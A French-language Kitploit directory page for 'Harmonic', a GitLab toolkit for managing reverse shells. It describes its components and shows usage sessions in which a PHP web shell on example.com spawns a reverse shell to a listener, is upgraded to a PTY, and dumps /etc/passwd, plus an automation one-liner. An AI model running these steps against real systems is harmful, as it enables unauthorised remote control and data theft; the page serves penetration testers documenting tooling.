Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Harmonic — Suite pour la gestion de reverse shells, conçue pour travailler dans le shell natif. | Kitploit
Outils/GitLabGitLab/runik/harmonic
Escalade de PrivilègesScripting et AutomatisationExploitation d'Applications WebCollecte d'InformationsPost-ExploitationTests d'IntrusionCommandement et ContrôleOutil d'Accès à DistanceGénération de ShellcodeDéveloppement de Charges Utiles
16il y a 8 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitLab
runik/harmonic

Harmonic

Suite pour la gestion de reverse shells, conçue pour travailler dans le shell natif.

Voir le dépôt

Harmonic Suite

Début d'un ensemble d'outils Linux pour la gestion et l'interface avec des shells inversés (le code est encore à l'état « quick and dirty », avec peu de gestion des exceptions). Fortement inspiré par la philosophie UNIX, l'idée de base est d'avoir un démon pour gérer des points de terminaison arbitraires (connd, bien que ce ne soit pas encore un véritable démon, mais il peut tourner dans un terminal séparé) et d'exécuter des outils contre ces points de terminaison.

Les points de terminaison sont « pilotés » par un script ou un processus et exposés sous forme de fichiers dans le système de fichiers ; un client logiciel léger peut ensuite être utilisé pour interagir avec eux, mais on peut tout aussi bien y écrire et les lire à l'aide de commandes shell. En fait, la possibilité d'exécuter les scripts de manière autonome depuis le shell est un facteur de conception clé : idéalement, au plus, un script dépendra de la présence d'un point de terminaison, mais pourra également être utilisé en combinaison (en cascade les uns avec les autres).

Les options actuelles de points de terminaison sont :

  • nc - Lancer un point de terminaison netcat sur un port particulier
  • wsh - Un shell contextuel utilisé pour interagir avec un script de web shell basique
  • with - Exécuter un processus arbitraire comme point de terminaison

Le client logiciel léger (hthinc.py) fournit une interface de base avec le point de terminaison du système, ainsi que l'exécution rapide de scripts sur le système. Plusieurs scripts basiques mais utiles ont été écrits :

  • sp - exécute une énumération d'un système Linux distant, détermine les langages de script (actuellement uniquement python), démarre un nouveau point de terminaison et lance un shell interactif via le point de terminaison actuel pour se connecter au nouveau point de terminaison. Si un driver est spécifié, il ignore l'énumération et tente d'utiliser le driver"
  • lpc - Exécute le script Linux Priv Escalation Checker sur le système via le point de terminaison
  • log - Journalise la sortie d'une commande dans le répertoire de travail courant
  • mac - Exécute une macro prédéfinie sur le point de terminaison (telle que définie dans la section macro de $HCROOT/.hcrc
  • pull - Un script macro pour wget qui télécharge des fichiers depuis un portail de distribution (linux)
  • fpull - Un script macro pour fetch qui télécharge des fichiers depuis un portail de distribution (*bsd)
  • wpinit - Énumère les moteurs de script Windows (actuellement uniquement VB) et génère un script de portail de fichiers à utiliser avec wpull
  • vbpull - Un script macro pour le script portal.vbs (voir : wpinit) afin de récupérer des fichiers depuis un portail de distribution (windows)
  • pspull - Un script macro pour utiliser PowerShell afin de récupérer un fichier depuis un portail de distribution (windows)

Les types de drivers de shell inversé (c'est-à-dire ce qui pilote le shell sur le système distant) sont les suivants (prise en charge actuellement pour Linux) :

  • php
  • perl
  • fifo
  • python27
  • python3x

Autres scripts :

  • hgenrsh.py - génère une commande python de shell inversé (compressée et encodée en base64) pouvant se détacher du processus en cours d'exécution
  • hcmd.py - exécute une commande depuis l'environnement local
  • hscr.py - exécute un script hookable
  • hdis.py - écoute une connexion et envoie des données arbitraires au client depuis stdin
  • sys/bin/hpd.py - Serveur de distribution par portail pour récupérer des fichiers via le protocole HTTP

Exemple d'utilisation

  • Pour l'exemple, $HCROOT pointe vers le répertoire de ce dépôt (voir la configuration en bas de page)
  • connd s'exécute comme un démon ou un processus normal.
    • Il peut être lancé depuis $HCROOT/sys/bin/connd (il doit d'abord être compilé)

Dites à connd de démarrer un point de terminaison, en utilisant un driver de type wedge shell avec le script php fourni qui effectue des appels système avec une réponse formatée. Cependant, ce script d'une seule ligne aurait tout aussi bien pu être un code injecté dans un journal de serveur.

$ hconnd.py start wsh http://example.com/hwsh.php
1

Cela a créé le point de terminaison 1 (deux pipes d'entrée/sortie -- vous pouvez les voir comme t1i et t1o dans le sous-répertoire run). Nous utilisons donc maintenant hthinc.py pour interagir avec le shell.

$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0

Nous savons que c'est une machine Linux. Nous voulons sortir du web shell coincé et obtenir un vrai shell. Exécuter la commande intégrée !help affiche le message d'aide de thinc. Nous pouvons exécuter un script sp qui lance automatiquement des commandes sur le système distant, énumère l'environnement, démarre un point de terminaison nc, génère un shell inversé et s'y connecte automatiquement via un nouveau hthinc.py :

runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

Ou si nous savons que nous utilisons (par exemple) PHP comme driver, nous pouvons le spécifier :

runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

Et si nous avons un shell sans TTY ou que nous voulons en sortir, nous pouvons exécuter l'une des macros par défaut :

$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$

De plus, si nous voulons journaliser la sortie d'une commande, nous pouvons utiliser le script log qui l'enregistrera dans le répertoire de travail courant :

$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh

[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0

Pendant que les points de terminaison sont actifs, vous pouvez attacher/détacher les clients car les processus de connexion sont gérés par le démon.

Répétition rapide

Comme tout peut être exécuté de manière plus unixienne, nous pouvons répéter rapidement des processus depuis le shell. Nous démarrons un point de terminaison webshell, obtenons l'ID du point de terminaison, puis depuis le shell exécutons le script de génération sp.py contre le point de terminaison (c'est le même script que celui utilisé dans hthinc.py mais avec un point d'entrée différent).

$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

ou comme une ligne unique :

$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455

et automatiser facilement :

$ cat reverse.sh 
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
Télécharger l’outil